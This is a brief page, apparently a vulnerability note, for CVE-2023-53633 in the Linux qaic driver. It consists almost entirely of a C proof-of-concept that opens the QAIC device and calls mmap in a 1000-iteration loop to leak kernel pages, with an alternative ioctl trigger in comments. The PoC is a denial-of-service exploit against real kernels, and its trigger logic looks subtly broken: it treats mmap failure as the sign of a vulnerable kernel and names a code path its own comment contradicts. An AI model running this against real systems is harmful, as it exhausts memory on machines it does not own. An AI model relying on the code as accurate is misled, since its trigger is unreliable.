CVE-2023-53633 Linux内核qaic驱动内存泄漏漏洞

// CVE-2023-53633 PoC - Trigger memory leak in qaic map_user_pages() // This PoC demonstrates how to trigger the memory leak vulnerability // by repeatedly calling mmap on the QAIC device with specific parameters // that cause get_user_pages_fast() to partially fail. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <errno.h> #define QAIC_DEVICE "/dev/qaic0" #define MAP_SIZE (4 * 1024 * 1024) // 4MB mapping #define ITERATIONS 1000 // Repeat to accumulate leaked pages int main(int argc, char *argv[]) { int fd; void *mapped; int i; int ret; // Open the QAIC accelerator device fd = open(QAIC_DEVICE, O_RDWR); if (fd < 0) { perror("[-] Failed to open QAIC device"); // Try alternative device paths fd = open("/dev/qaic", O_RDWR); if (fd < 0) { perror("[-] QAIC device not available"); printf("[*] This PoC requires a system with QAIC hardware\n"); return 1; } } printf("[+] Opened QAIC device fd=%d\n", fd); // Repeatedly trigger map_user_pages() with conditions // that cause get_user_pages_fast() to partially fail for (i = 0; i < ITERATIONS; i++) { // Attempt mmap - this internally calls map_user_pages() mapped = mmap(NULL, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (mapped == MAP_FAILED) { // Partial allocation may have occurred before failure, // leaking pages in the vulnerable kernel version if (i % 100 == 0) printf("[%d] mmap failed (expected on vulnerable kernel)\n", i); } else { // Unmap immediately to avoid normal usage munmap(mapped, MAP_SIZE); if (i % 100 == 0) printf("[%d] mmap succeeded\n", i); } } printf("[+] Done. On a vulnerable kernel, check /proc/meminfo\n"); printf("[+] Look for decreasing MemAvailable over iterations\n"); close(fd); return 0; } // Alternative trigger via DMA buffer mapping ioctl: // struct qaic_manage_msg qmsg; // qmsg.op = QAIC_MANAGE_OP_MAP; // ioctl(fd, QAIC_MANAGE, &qmsg); // // On vulnerable kernels (< fix commit 73274c33d961), // failed mappings will leak page references.